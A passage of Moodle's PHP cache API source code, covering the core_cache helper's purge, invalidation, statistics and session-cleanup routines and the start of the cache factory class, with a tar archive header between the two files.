$inuse[$definitionkey]->delete_many($keys); } // We should only log events for application and session caches. // Request caches shouldn't have events as all data is lost at the end of the request. // Events should only be logged once of course and likely several definitions are watching so we // track its logging with $invalidationeventset. $logevent = ($invalidationeventset === false && $definition->get_mode() !== store::MODE_REQUEST); if ($logevent) { // Get the event invalidation cache. $cache = cache::make('core', 'eventinvalidation'); // Get any existing invalidated keys for this cache. $data = $cache->get($event); if ($data === false) { // There are none. $data = []; } // Add our keys to them with the current cache timestamp. if (null === $purgetoken) { $purgetoken = cache::get_purge_token(true); } foreach ($keys as $key) { $data[$key] = $purgetoken; } // Set that data back to the cache. $cache->set($event, $data); // This only needs to occur once. $invalidationeventset = true; } } } } /** * Purges the cache for a specific definition. * * @param string $component * @param string $area * @param array $identifiers * @return bool */ public static function purge_by_definition($component, $area, array $identifiers = []) { // Create the cache. $cache = cache::make($component, $area, $identifiers); // Initialise, in case of a store. if ($cache instanceof store) { $factory = factory::instance(); $definition = $factory->create_definition($component, $area, null); $cacheddefinition = clone $definition; $cacheddefinition->set_identifiers($identifiers); $cache->initialise($cacheddefinition); } // Purge baby, purge. $cache->purge(); return true; } /** * Purges a cache of all information on a given event. * * Events cannot determine what identifiers might need to be cleared. Event based purge and invalidation * are only supported on caches without identifiers. * * @param string $event */ public static function purge_by_event($event) { $instance = config::instance(); $invalidationeventset = false; $factory = factory::instance(); $inuse = $factory->get_caches_in_use(); $purgetoken = null; foreach ($instance->get_definitions() as $name => $definitionarr) { $definition = definition::load($name, $definitionarr); if ($definition->invalidates_on_event($event)) { // First up check if there is a cache loader for this definition already. // If there is we need to invalidate the keys from there. $definitionkey = $definition->get_component() . '/' . $definition->get_area(); if (isset($inuse[$definitionkey])) { $inuse[$definitionkey]->purge(); } else { cache::make($definition->get_component(), $definition->get_area())->purge(); } // We should only log events for application and session caches. // Request caches shouldn't have events as all data is lost at the end of the request. // Events should only be logged once of course and likely several definitions are watching so we // track its logging with $invalidationeventset. $logevent = ($invalidationeventset === false && $definition->get_mode() !== store::MODE_REQUEST); // We need to flag the event in the "Event invalidation" cache if it hasn't already happened. if ($logevent && $invalidationeventset === false) { // Get the event invalidation cache. $cache = cache::make('core', 'eventinvalidation'); // Create a key to invalidate all. if (null === $purgetoken) { $purgetoken = cache::get_purge_token(true); } $data = [ 'purged' => $purgetoken, ]; // Set that data back to the cache. $cache->set($event, $data); // This only needs to occur once. $invalidationeventset = true; } } } } /** * Ensure that the stats array is ready to collect information for the given store and definition. * @param string $store * @param string $storeclass * @param string $definition A string that identifies the definition. * @param int $mode One of store::MODE_*. Since 2.9. */ protected static function ensure_ready_for_stats($store, $storeclass, $definition, $mode = store::MODE_APPLICATION) { // This function is performance-sensitive, so exit as quickly as possible // if we do not need to do anything. if (isset(self::$stats[$definition]['stores'][$store])) { return; } if (!array_key_exists($definition, self::$stats)) { self::$stats[$definition] = [ 'mode' => $mode, 'stores' => [ $store => [ 'class' => $storeclass, 'hits' => 0, 'misses' => 0, 'sets' => 0, 'iobytes' => store::IO_BYTES_NOT_SUPPORTED, 'locks' => 0, ], ], ]; } else if (!array_key_exists($store, self::$stats[$definition]['stores'])) { self::$stats[$definition]['stores'][$store] = [ 'class' => $storeclass, 'hits' => 0, 'misses' => 0, 'sets' => 0, 'iobytes' => store::IO_BYTES_NOT_SUPPORTED, 'locks' => 0, ]; } } /** * Returns a string to describe the definition. * * This method supports the definition as a string due to legacy requirements. * It is backwards compatible when a string is passed but is not accurate. * * @since 2.9 * @param definition|string $definition * @return string */ protected static function get_definition_stat_id_and_mode($definition) { if (!($definition instanceof definition)) { // All core calls to this method have been updated, this is the legacy state. // We'll use application as the default as that is the most common, really this is not accurate of course but // at this point we can only guess and as it only affects calls to cache stat outside of core (of which there should // be none) I think that is fine. debugging('Please update you cache stat calls to pass the definition rather than just its ID.', DEBUG_DEVELOPER); return [(string)$definition, store::MODE_APPLICATION]; } return [$definition->get_id(), $definition->get_mode()]; } /** * Record a cache hit in the stats for the given store and definition. * * In Moodle 2.9 the $definition argument changed from accepting only a string to accepting a string or a * definition instance. It is preferable to pass a cache definition instance. * * In Moodle 3.9 the first argument changed to also accept a store. * * @internal * @param string|store $store * @param definition $definition You used to be able to pass a string here, however that is deprecated please pass the * actual definition object now. * @param int $hits The number of hits to record (by default 1) * @param int $readbytes Number of bytes read from the cache or store::IO_BYTES_NOT_SUPPORTED */ public static function record_cache_hit( $store, $definition, int $hits = 1, int $readbytes = store::IO_BYTES_NOT_SUPPORTED, ): void { $storeclass = ''; if ($store instanceof store) { $storeclass = get_class($store); $store = $store->my_name(); } [$definitionstr, $mode] = self::get_definition_stat_id_and_mode($definition); self::ensure_ready_for_stats($store, $storeclass, $definitionstr, $mode); self::$stats[$definitionstr]['stores'][$store]['hits'] += $hits; if ($readbytes !== store::IO_BYTES_NOT_SUPPORTED) { if (self::$stats[$definitionstr]['stores'][$store]['iobytes'] === store::IO_BYTES_NOT_SUPPORTED) { self::$stats[$definitionstr]['stores'][$store]['iobytes'] = $readbytes; } else { self::$stats[$definitionstr]['stores'][$store]['iobytes'] += $readbytes; } } } /** * Record a cache miss in the stats for the given store and definition. * * In Moodle 2.9 the $definition argument changed from accepting only a string to accepting a string or a * definition instance. It is preferable to pass a cache definition instance. * * In Moodle 3.9 the first argument changed to also accept a store. * * @internal * @param string|store $store * @param definition $definition You used to be able to pass a string here, however that is deprecated please pass the * actual definition object now. * @param int $misses The number of misses to record (by default 1) */ public static function record_cache_miss($store, $definition, $misses = 1) { $storeclass = ''; if ($store instanceof store) { $storeclass = get_class($store); $store = $store->my_name(); } [$definitionstr, $mode] = self::get_definition_stat_id_and_mode($definition); self::ensure_ready_for_stats($store, $storeclass, $definitionstr, $mode); self::$stats[$definitionstr]['stores'][$store]['misses'] += $misses; } /** * Record a cache set in the stats for the given store and definition. * * In Moodle 2.9 the $definition argument changed from accepting only a string to accepting a string or a * definition instance. It is preferable to pass a cache definition instance. * * In Moodle 3.9 the first argument changed to also accept a store. * * @internal * @param string|store $store * @param definition $definition You used to be able to pass a string here, however that is deprecated please pass the * actual definition object now. * @param int $sets The number of sets to record (by default 1) * @param int $writebytes Number of bytes written to the cache or store::IO_BYTES_NOT_SUPPORTED */ public static function record_cache_set( $store, $definition, int $sets = 1, int $writebytes = store::IO_BYTES_NOT_SUPPORTED ) { $storeclass = ''; if ($store instanceof store) { $storeclass = get_class($store); $store = $store->my_name(); } [$definitionstr, $mode] = self::get_definition_stat_id_and_mode($definition); self::ensure_ready_for_stats($store, $storeclass, $definitionstr, $mode); self::$stats[$definitionstr]['stores'][$store]['sets'] += $sets; if ($writebytes !== store::IO_BYTES_NOT_SUPPORTED) { if (self::$stats[$definitionstr]['stores'][$store]['iobytes'] === store::IO_BYTES_NOT_SUPPORTED) { self::$stats[$definitionstr]['stores'][$store]['iobytes'] = $writebytes; } else { self::$stats[$definitionstr]['stores'][$store]['iobytes'] += $writebytes; } } } /** * Return the stats collected so far. * @return array */ public static function get_stats() { return self::$stats; } /** * Purge all of the cache stores of all of their data. * * Think twice before calling this method. It will purge **ALL** caches regardless of whether they have been used recently or * anything. This will involve full setup of the cache + the purge operation. On a site using caching heavily this WILL be * painful. * * @param bool $usewriter If set to true the config_writer class is used. This class is special as it avoids * it is still usable when caches have been disabled. * Please use this option only if you really must. It's purpose is to allow the cache to be purged when it would be * otherwise impossible. */ public static function purge_all($usewriter = false) { $factory = factory::instance(); $config = $factory->create_config_instance($usewriter); foreach ($config->get_all_stores() as $store) { self::purge_store($store['name'], $config); } foreach ($factory->get_adhoc_caches_in_use() as $cache) { $cache->purge(); } } /** * Purges a store given its name. * * @param string $storename * @param config|null $config * @return bool */ public static function purge_store($storename, ?config $config = null) { if ($config === null) { $config = config::instance(); } $stores = $config->get_all_stores(); if (!array_key_exists($storename, $stores)) { // The store does not exist. return false; } $store = $stores[$storename]; $class = $store['class']; // We check are_requirements_met although we expect is_ready is going to check as well. if (!$class::are_requirements_met()) { return false; } // Found the store: is it ready? /* @var store $instance */ $instance = new $class($store['name'], $store['configuration']); if (!$instance->is_ready()) { unset($instance); return false; } foreach ($config->get_definitions_by_store($storename) as $id => $definition) { $definition = definition::load($id, $definition); $definitioninstance = clone($instance); $definitioninstance->initialise($definition); $definitioninstance->purge(); unset($definitioninstance); } return true; } /** * Purges all of the stores used by a definition. * * Unlike helper::purge_by_definition this purges all of the data from the stores not * just the data relating to the definition. * This function is useful when you must purge a definition that requires setup but you don't * want to set it up. * * @param string $component * @param string $area */ public static function purge_stores_used_by_definition($component, $area) { $factory = factory::instance(); $config = $factory->create_config_instance(); $definition = $factory->create_definition($component, $area); $stores = $config->get_stores_for_definition($definition); foreach ($stores as $store) { self::purge_store($store['name']); } } /** * Returns the translated name of the definition. * * @param definition $definition * @return lang_string */ public static function get_definition_name($definition) { if ($definition instanceof definition) { return $definition->get_name(); } $identifier = 'cachedef_' . clean_param($definition['area'], PARAM_STRINGID); $component = $definition['component']; if ($component === 'core') { $component = 'cache'; } return new lang_string($identifier, $component); } /** * Hashes a descriptive key to make it shorter and still unique. * @param string|int $key * @param definition $definition * @return string */ public static function hash_key($key, definition $definition) { if ($definition->uses_simple_keys()) { if (debugging() && preg_match('#[^a-zA-Z0-9_]#', $key ?? '')) { throw new coding_exception( 'Cache definition ' . $definition->get_id() . ' requires simple keys. Invalid key provided.', $key, ); } // We put the key first so that we can be sure the start of the key changes. return (string)$key . '-' . $definition->generate_single_key_prefix(); } $key = $definition->generate_single_key_prefix() . '-' . $key; return sha1($key); } /** * Finds all definitions and updates them within the cache config file. * * @param bool $coreonly If set to true only core definitions will be updated. */ public static function update_definitions($coreonly = false) { // First update definitions config_writer::update_definitions($coreonly); // Second reset anything we have already initialised to ensure we're all up to date. factory::reset(); } /** * Update the site identifier stored by the cache API. * * @param string $siteidentifier * @return string The new site identifier. */ public static function update_site_identifier($siteidentifier) { $factory = factory::instance(); $factory->updating_started(); $config = $factory->create_config_instance(true); $siteidentifier = $config->update_site_identifier($siteidentifier); $factory->updating_finished(); factory::reset(); return $siteidentifier; } /** * Returns the site identifier. * * @return string */ public static function get_site_identifier() { global $CFG; if (!is_null(self::$siteidentifier)) { return self::$siteidentifier; } // If site identifier hasn't been collected yet attempt to get it from the cache config. $factory = factory::instance(); // If the factory is initialising then we don't want to try to get it from the config or we risk // causing the cache to enter an infinite initialisation loop. if (!$factory->is_initialising()) { $config = $factory->create_config_instance(); self::$siteidentifier = $config->get_site_identifier(); } if (is_null(self::$siteidentifier)) { // If the site identifier is still null then config isn't aware of it yet. // We'll see if the CFG is loaded, and if not we will just use unknown. // It's very important here that we don't use get_config. We don't want an endless cache loop! if (!empty($CFG->siteidentifier)) { self::$siteidentifier = self::update_site_identifier($CFG->siteidentifier); } else { // It's not being recorded in MUC's config and the config data hasn't been loaded yet. // Likely we are initialising. return 'unknown'; } } return self::$siteidentifier; } /** * Returns the site version. * * @return string */ public static function get_site_version() { global $CFG; return (string)$CFG->version; } /** * Runs cron routines for MUC. */ public static function cron() { self::clean_old_session_data(true); } /** * Cleans old session data from cache stores used for session based definitions. * * @param bool $output If set to true output will be given. */ public static function clean_old_session_data($output = false) { global $CFG; if ($output) { mtrace('Cleaning up stale session data from cache stores.'); } $factory = factory::instance(); $config = $factory->create_config_instance(); $definitions = $config->get_definitions(); $purgetime = time() - $CFG->sessiontimeout; foreach ($definitions as $definitionarray) { // We are only interested in session caches. if (!($definitionarray['mode'] & store::MODE_SESSION)) { continue; } $definition = $factory->create_definition($definitionarray['component'], $definitionarray['area']); $stores = $config->get_stores_for_definition($definition); // Turn them into store instances. $stores = self::initialise_cachestore_instances($stores, $definition); // Initialise all of the stores used for that definition. foreach ($stores as $store) { // If the store doesn't support searching we can skip it. if (!($store instanceof searchable_cache_interface)) { debugging('Cache stores used for session definitions should ideally be searchable.', DEBUG_DEVELOPER); continue; } // Load all of the keys into memory so we can compare against multiple prefixes. $keys = $store->find_all(); sort($keys); // Get all of the last access keys. $lastaccess = array_filter($keys, fn($key) => str_starts_with($key, session_cache::LASTACCESS)); $todelete = []; $prefixtodelete = []; foreach ($store->get_many($lastaccess) as $key => $value) { $expiresvalue = 0; if ($value instanceof ttl_wrapper) { $expiresvalue = $value->data; } else if ($value instanceof cached_object) { $expiresvalue = $value->restore_object(); } else { $expiresvalue = $value; } $expires = (int) $expiresvalue; if ($expires > 0 && $expires < $purgetime) { $todelete[] = $key; $prefixtodelete[] = substr($key, strlen(session_cache::LASTACCESS)); } } // Match all of the prefixes to delete to keys to delete. if ($prefixtodelete) { sort($prefixtodelete); $todelete = array_merge($todelete, self::filter_sorted_keys_by_prefixes($keys, $prefixtodelete)); } if ($todelete) { $outcome = (int) $store->delete_many($todelete); if ($output) { $strdef = s($definition->get_id()); $strstore = s($store->my_name()); mtrace("- Removed {$outcome} old {$strdef} sessions from the '{$strstore}' cache store."); } } } } } /** * Filters a sorted list of keys by a sorted list of prefixes. * This relies on the sorting to reduce the number of comparisons. * * @param array $keys a sorted array of keys * @param array $prefixes a sorted array of prefixes * @return array of keys containing any of the prefixes */ public static function filter_sorted_keys_by_prefixes(array $keys, array $prefixes): array { // Reverse the prefixes to allow for simple processing. $prefixes = array_reverse($prefixes); $matches = []; $prefix = array_pop($prefixes); foreach ($keys as $key) { // The keys and prefixes are sorted so we only need to compare against one prefix at a time. // This is done inside a loop to check the next prefix at break points. while ($prefix) { if (str_starts_with($key, $prefix)) { $matches[] = $key; } else if ($prefix < $key) { // The key has moved past the current prefix alphabetically, so check the next. $prefix = array_pop($prefixes); continue; } break; } } return $matches; } /** * Returns an array of stores that would meet the requirements for every definition. * * These stores would be 100% suitable to map as defaults for cache modes. * * @return array[] An array of stores, keys are the store names. */ public static function get_stores_suitable_for_mode_default() { $factory = factory::instance(); $config = $factory->create_config_instance(); $requirements = 0; foreach ($config->get_definitions() as $definition) { $definition = definition::load($definition['component'] . '/' . $definition['area'], $definition); $requirements = $requirements | $definition->get_requirements_bin(); } $stores = []; foreach ($config->get_all_stores() as $name => $store) { if (!empty($store['features']) && ($store['features'] & $requirements)) { $stores[$name] = $store; } } return $stores; } /** * Returns stores suitable for use with a given definition. * * @param definition $definition * @return store[] */ public static function get_stores_suitable_for_definition(definition $definition) { $factory = factory::instance(); $stores = []; if ($factory->is_initialising() || $factory->stores_disabled()) { // No suitable stores here. return $stores; } else { $stores = self::get_cache_stores($definition); // If mappingsonly is set, having 0 stores is ok. if ((count($stores) === 0) && (!$definition->is_for_mappings_only())) { // No suitable stores we found for the definition. We need to come up with a sensible default. // If this has happened we can be sure that the user has mapped custom stores to either the // mode of the definition. The first alternative to try is the system default for the mode. // e.g. the default file store instance for application definitions. $config = $factory->create_config_instance(); foreach ($config->get_stores($definition->get_mode()) as $name => $details) { if (!empty($details['default'])) { $stores[] = $factory->create_store_from_config($name, $details, $definition); break; } } } } return $stores; } /** * Returns an array of warnings from the cache API. * * The warning returned here are for things like conflicting store instance configurations etc. * These get shown on the admin notifications page for example. * * @param array|null $stores An array of stores to get warnings for, or null for all. * @return string[] */ public static function warnings(?array $stores = null) { if ($stores === null) { $stores = administration_helper::get_store_instance_summaries(); } $warnings = []; foreach ($stores as $store) { if (!empty($store['warnings'])) { $warnings = array_merge($warnings, $store['warnings']); } } return $warnings; } /** * A helper to determine whether a result was found. * * This has been deemed required after people have been confused by the fact that [] == false. * * @param mixed $value * @return bool */ public static function result_found($value): bool { return $value !== false; } /** * Checks whether the cluster mode is available in PHP. * * @return bool Return true if the PHP supports redis cluster, otherwise false. */ public static function is_cluster_available(): bool { return class_exists('RedisCluster'); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(helper::class, \cache_helper::class); classes/factory.php000064400000064033152265337610010401 0ustar00. namespace core_cache; use core\exception\coding_exception; use cache_config_testing; use cache_phpunit_factory; /** * The cache factory class. * * This factory class is important because it stores instances of objects used by the cache API and returns them upon requests. * This allows us to both reuse objects saving on overhead, and gives us an easy place to "reset" the cache API in situations that * we need such as unit testing. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core_cache */ class factory { /** The cache has not been initialised yet. */ const STATE_UNINITIALISED = 0; /** The cache is in the process of initialising itself. */ const STATE_INITIALISING = 1; /** The cache is in the process of saving its configuration file. */ const STATE_SAVING = 2; /** The cache is ready to use. */ const STATE_READY = 3; /** The cache is currently updating itself */ const STATE_UPDATING = 4; /** The cache encountered an error while initialising. */ const STATE_ERROR_INITIALISING = 9; /** The cache has been disabled. */ const STATE_DISABLED = 10; /** The cache stores have been disabled */ const STATE_STORES_DISABLED = 11; /** * An instance of the factory class created upon the first request. * @var factory */ protected static $instance; /** * An array containing caches created for definitions * @var array */ protected $cachesfromdefinitions = []; /** * Array of caches created by parameters, ad-hoc definitions will have been used. * @var array */ protected $cachesfromparams = []; /** * An array of stores organised by definitions. * @var array */ protected $definitionstores = []; /** * An array of instantiated stores. * @var array */ protected $stores = []; /** * An array of configuration instances * @var array */ protected $configs = []; /** * An array of initialised definitions * @var array */ protected $definitions = []; /** * An array of lock plugins. * @var array */ protected $lockplugins = []; /** * The current state of the cache API. * @var int */ protected $state = 0; /** * The current cache display helper. * @var core_cache\local\administration_display_helper */ protected static $displayhelper = null; /** * Returns an instance of the factory class. * * @param bool $forcereload If set to true a new factory instance will be created and used. * @return factory */ public static function instance($forcereload = false) { global $CFG; if ($forcereload || self::$instance === null) { // Initialise a new factory to facilitate our needs. if (defined('CACHE_DISABLE_ALL') && CACHE_DISABLE_ALL !== false) { // The cache has been disabled. Load disabledlib and start using the factory designed to handle this // situation. It will use disabled alternatives where available. self::$instance = new disabled_factory(); } else if ((defined('PHPUNIT_TEST') && PHPUNIT_TEST) || defined('BEHAT_SITE_RUNNING')) { // We're using the test factory. require_once($CFG->dirroot . '/cache/tests/fixtures/lib.php'); self::$instance = new cache_phpunit_factory(); if (defined('CACHE_DISABLE_STORES') && CACHE_DISABLE_STORES !== false) { // The cache stores have been disabled. self::$instance->set_state(self::STATE_STORES_DISABLED); } } else if (!empty($CFG->alternative_cache_factory_class)) { $factoryclass = $CFG->alternative_cache_factory_class; self::$instance = new $factoryclass(); } else { // We're using the regular factory. self::$instance = new factory(); if (defined('CACHE_DISABLE_STORES') && CACHE_DISABLE_STORES !== false) { // The cache stores have been disabled. self::$instance->set_state(self::STATE_STORES_DISABLED); } } } return self::$instance; } /** * Protected constructor, please use the static instance method. */ protected function __construct() { // Nothing to do here. } /** * Resets the arrays containing instantiated caches, stores, and config instances. */ public static function reset() { $factory = self::instance(); $factory->reset_cache_instances(); $factory->configs = []; $factory->definitions = []; $factory->definitionstores = []; $factory->lockplugins = []; // MUST be null in order to force its regeneration. // Reset the state to uninitialised. $factory->state = self::STATE_UNINITIALISED; } /** * Resets the stores, clearing the array of created stores. * * Cache objects still held onto by the code that initialised them will remain as is * however all future requests for a cache/store will lead to a new instance being re-initialised. */ public function reset_cache_instances() { $this->cachesfromdefinitions = []; $this->cachesfromparams = []; $this->stores = []; } /** * Creates a cache object given the parameters for a definition. * * If a cache has already been created for the given definition then that cache instance will be returned. * * @param string $component * @param string $area * @param array $identifiers * @param string $unused Used to be data source aggregate however that was removed and this is now unused. * @return application_cache|session_cache|request_cache */ public function create_cache_from_definition($component, $area, array $identifiers = [], $unused = null) { $identifierstring = empty($identifiers) ? '' : '/' . http_build_query($identifiers); $definitionname = $component . '/' . $area . $identifierstring; if (isset($this->cachesfromdefinitions[$definitionname])) { $cache = $this->cachesfromdefinitions[$definitionname]; return $cache; } $definition = $this->create_definition($component, $area); // Identifiers are cached as part of the cache creation, so we store a cloned version of the cache. $cacheddefinition = clone($definition); $cacheddefinition->set_identifiers($identifiers); $cache = $this->create_cache($cacheddefinition); // Loaders are always held onto to speed up subsequent requests. $this->cachesfromdefinitions[$definitionname] = $cache; return $cache; } /** * Creates an ad-hoc cache from the given param. * * If a cache has already been created using the same params then that cache instance will be returned. * * @param int $mode * @param string $component * @param string $area * @param array $identifiers * @param array $options An array of options, available options are: * - simplekeys : Set to true if the keys you will use are a-zA-Z0-9_ * - simpledata : Set to true if the type of the data you are going to store is scalar, or an array of scalar vars * - staticacceleration : If set to true the cache will hold onto data passing through it. * - staticaccelerationsize : The maximum number of items to hold onto for acceleration purposes. * @return application_cache|session_cache|request_cache */ public function create_cache_from_params($mode, $component, $area, array $identifiers = [], array $options = []) { $identifierstring = empty($identifiers) ? '' : '_' . http_build_query($identifiers); $key = "{$mode}_{$component}_{$area}{$identifierstring}"; if (isset($this->cachesfromparams[$key])) { return $this->cachesfromparams[$key]; } // Regular cache definitions are cached inside create_definition(). This is not the case for Adhoc definitions // using load_adhoc(). They are built as a new object on each call. // We do not need to clone the definition because we know it's new. $definition = definition::load_adhoc($mode, $component, $area, $options); $definition->set_identifiers($identifiers); $cache = $this->create_cache($definition); $this->cachesfromparams[$key] = $cache; return $cache; } /** * Common public method to create a cache instance given a definition. * * This is used by the static make methods. * * @param definition $definition * @return application_cache|session_cache|store * @throws coding_exception */ public function create_cache(definition $definition) { $class = $definition->get_cache_class(); $stores = helper::get_stores_suitable_for_definition($definition); foreach ($stores as $key => $store) { if (!$store::are_requirements_met()) { unset($stores[$key]); } } if (count($stores) === 0) { // Hmm still no stores, better provide a dummy store to mimic functionality. The dev will be none the wiser. $stores[] = $this->create_dummy_store($definition); } $loader = null; if ($definition->has_data_source()) { $loader = $definition->get_data_source(); } while (($store = array_pop($stores)) !== null) { $loader = new $class($definition, $store, $loader); } return $loader; } /** * Creates a store instance given its name and configuration. * * If the store has already been instantiated then the original object will be returned. (reused) * * @param string $name The name of the store (must be unique remember) * @param array $details * @param definition $definition The definition to instantiate it for. * @return boolean|store */ public function create_store_from_config($name, array $details, definition $definition) { if (!array_key_exists($name, $this->stores)) { // Properties: name, plugin, configuration, class. $class = $details['class']; if (!$class::are_requirements_met()) { return false; } $store = new $class($details['name'], $details['configuration']); $this->stores[$name] = $store; } /* @var store $store */ $store = $this->stores[$name]; // We check are_requirements_met although we expect is_ready is going to check as well. if (!$store::are_requirements_met() || !$store->is_ready() || !$store->is_supported_mode($definition->get_mode())) { return false; } // We always create a clone of the original store. // If we were to clone a store that had already been initialised with a definition then // we'd run into a myriad of issues. // We use a method of the store to create a clone rather than just creating it ourselves // so that if any store out there doesn't handle cloning they can override this method in // order to address the issues. $store = $this->stores[$name]->create_clone($details); $store->initialise($definition); $definitionid = $definition->get_id(); if (!isset($this->definitionstores[$definitionid])) { $this->definitionstores[$definitionid] = []; } $this->definitionstores[$definitionid][] = $store; return $store; } /** * Returns an array of cache stores that have been initialised for use in definitions. * @param definition $definition * @return array */ public function get_store_instances_in_use(definition $definition) { $id = $definition->get_id(); if (!isset($this->definitionstores[$id])) { return []; } return $this->definitionstores[$id]; } /** * Returns the cache instances that have been used within this request. * @since Moodle 2.6 * @return array */ public function get_caches_in_use() { return $this->cachesfromdefinitions; } /** * Gets all adhoc caches that have been used within this request. * * @return store[] Caches currently in use */ public function get_adhoc_caches_in_use() { return $this->cachesfromparams; } /** * Creates a cache config instance with the ability to write if required. * * @param bool $writer If set to true an instance that can update the configuration will be returned. * @return config|config_writer */ public function create_config_instance($writer = false) { global $CFG; // The class to use. $class = config::class; // Are we running tests of some form? $testing = (defined('PHPUNIT_TEST') && PHPUNIT_TEST) || defined('BEHAT_SITE_RUNNING'); // Check if this is a PHPUnit test and redirect to the phpunit config classes if it is. if ($testing) { require_once($CFG->dirroot . '/cache/tests/fixtures/lib.php'); // We have just a single class for PHP unit tests. We don't care enough about its // performance to do otherwise and having a single method allows us to inject things into it // while testing. $class = cache_config_testing::class; } // Check if we need to create a config file with defaults. $needtocreate = !$class::config_file_exists(); if ($writer || $needtocreate) { if (!$testing) { $class .= '_writer'; } } $error = false; if ($needtocreate) { // Create the default configuration. // Update the state, we are now initialising the cache. self::set_state(self::STATE_INITIALISING); /** @var config_writer $class */ $configuration = $class::create_default_configuration(); if ($configuration !== true) { // Failed to create the default configuration. Disable the cache stores and update the state. self::set_state(self::STATE_ERROR_INITIALISING); $this->configs[$class] = new $class(); $this->configs[$class]->load($configuration); $error = true; } } if (!array_key_exists($class, $this->configs)) { // Create a new instance and call it to load it. $this->configs[$class] = new $class(); $this->configs[$class]->load(); } if (!$error) { // The cache is now ready to use. Update the state. self::set_state(self::STATE_READY); } // Return the instance. return $this->configs[$class]; } /** * Creates a definition instance or returns the existing one if it has already been created. * @param string $component * @param string $area * @param string $unused This used to be data source aggregate - however that functionality has been removed and * this argument is now unused. * @return definition * @throws coding_exception If the definition cannot be found. */ public function create_definition($component, $area, $unused = null) { $id = $component . '/' . $area; if (!isset($this->definitions[$id])) { // This is the first time this definition has been requested. if ($this->is_initialising()) { // We're initialising the cache right now. Don't try to create another config instance. // We'll just use an ad-hoc cache for the time being. $definition = definition::load_adhoc(store::MODE_REQUEST, $component, $area); } else { // Load all the known definitions and find the desired one. $instance = $this->create_config_instance(); $definition = $instance->get_definition_by_id($id); if (!$definition) { // Oh-oh the definition doesn't exist. // There are several things that could be going on here. // We may be installing/upgrading a site and have hit a definition that hasn't been used before. // Of the developer may be trying to use a newly created definition. if ($this->is_updating()) { // The cache is presently initialising and the requested cache definition has not been found. // This means that the cache initialisation has requested something from a cache (I had recursive nightmares about this). // To serve this purpose and avoid errors we are going to make use of an ad-hoc cache rather than // search for the definition which would possibly cause an infitite loop trying to initialise the cache. $definition = definition::load_adhoc(store::MODE_REQUEST, $component, $area); } else { // Either a typo of the developer has just created the definition and is using it for the first time. $this->reset(); $instance = $this->create_config_instance(true); $instance->update_definitions(); $definition = $instance->get_definition_by_id($id); if (!$definition) { throw new coding_exception('The requested cache definition does not exist.' . $id, $id); } if (!$this->is_disabled()) { debugging('Cache definitions reparsed causing cache reset in order to locate definition. You should bump the version number to ensure definitions are reprocessed.', DEBUG_DEVELOPER); } $definition = definition::load($id, $definition); } } else { $definition = definition::load($id, $definition); } } $this->definitions[$id] = $definition; } return $this->definitions[$id]; } /** * Creates a dummy store object for use when a loader has no potential stores to use. * * @param definition $definition * @return dummy_cachestore */ protected function create_dummy_store(definition $definition) { $store = new dummy_cachestore(); $store->initialise($definition); return $store; } /** * Returns a lock instance ready for use. * * @param array $config * @return lockable_cache_interface */ public function create_lock_instance(array $config) { global $CFG; if (!array_key_exists('name', $config) || !array_key_exists('type', $config)) { throw new coding_exception('Invalid cache lock instance provided'); } $name = $config['name']; $type = $config['type']; unset($config['name']); unset($config['type']); if (!isset($this->lockplugins[$type])) { $pluginname = substr($type, 10); $file = $CFG->dirroot . "/cache/locks/{$pluginname}/lib.php"; if (file_exists($file) && is_readable($file)) { require_once($file); } if (!class_exists($type)) { throw new coding_exception('Invalid lock plugin requested.'); } $this->lockplugins[$type] = $type; } if (!array_key_exists($type, $this->lockplugins)) { throw new coding_exception('Invalid cache lock type.'); } $class = $this->lockplugins[$type]; return new $class($name, $config); } /** * Returns the current state of the cache API. * * @return int */ public function get_state() { return $this->state; } /** * Updates the state fo the cache API. * * @param int $state * @return bool */ public function set_state($state) { if ($state <= $this->state) { return false; } $this->state = $state; return true; } /** * Informs the factory that the cache is currently updating itself. * * This forces the state to upgrading and can only be called once the cache is ready to use. * Calling it ensure we don't try to reinstantite things when requesting cache definitions that don't exist yet. */ public function updating_started() { if ($this->state !== self::STATE_READY) { return false; } $this->state = self::STATE_UPDATING; return true; } /** * Informs the factory that the upgrading has finished. * * This forces the state back to ready. */ public function updating_finished() { $this->state = self::STATE_READY; } /** * Returns true if the cache API has been disabled. * * @return bool */ public function is_disabled() { return $this->state === self::STATE_DISABLED; } /** * Returns true if the cache is currently initialising itself. * * This includes both initialisation and saving the cache config file as part of that initialisation. * * @return bool */ public function is_initialising() { return $this->state === self::STATE_INITIALISING || $this->state === self::STATE_SAVING; } /** * Returns true if the cache is currently updating itself. * * @return bool */ public function is_updating() { return $this->state === self::STATE_UPDATING; } /** * Disables as much of the cache API as possible. * * All of the magic associated with the disabled cache is wrapped into this function. * In switching out the factory for the disabled factory it gains full control over the initialisation of objects * and can use all of the disabled alternatives. * Simple! * * This function has been marked as protected so that it cannot be abused through the public API presently. * Perhaps in the future we will allow this, however as per the build up to the first release containing * MUC it was decided that this was just to risky and abusable. */ protected static function disable() { self::$instance = new disabled_factory(); } /** * Returns true if the cache stores have been disabled. * * @return bool */ public function stores_disabled() { return $this->state === self::STATE_STORES_DISABLED || $this->is_disabled(); } /** * Disables cache stores. * * The cache API will continue to function however none of the actual stores will be used. * Instead the dummy store will be provided for all cache requests. * This is useful in situations where you cannot be sure any stores are working. * * In order to re-enable the cache you must call the cache factories static reset method: * * // Disable the cache factory. * factory::disable_stores(); * // Re-enable the cache factory by resetting it. * factory::reset(); * */ public static function disable_stores() { // First reset to clear any static acceleration array. $factory = self::instance(); $factory->reset_cache_instances(); $factory->set_state(self::STATE_STORES_DISABLED); } /** * Returns an instance of the current display_helper. * * @return administration_helper */ public static function get_administration_display_helper(): administration_helper { if (is_null(self::$displayhelper)) { self::$displayhelper = new \core_cache\local\administration_display_helper(); } return self::$displayhelper; } /** * Gets the config_writer to use when caching is disabled. * This should only be called from disabled_factory. * * @return config_writer */ public static function get_disabled_writer(): config_writer { global $CFG; // Figure out if we are in a recursive loop using late static binding. // This happens when get_disabled_writer is not overridden. We just want the default. $loop = false; if (!empty($CFG->alternative_cache_factory_class)) { $loop = get_called_class() === $CFG->alternative_cache_factory_class; } if (!$loop && !empty($CFG->alternative_cache_factory_class)) { // Get the class to use from the alternative factory. $factoryinstance = new $CFG->alternative_cache_factory_class(); return $factoryinstance::get_disabled_writer(); } else { // We got here from disabled_factory. // We should use the default writer here. 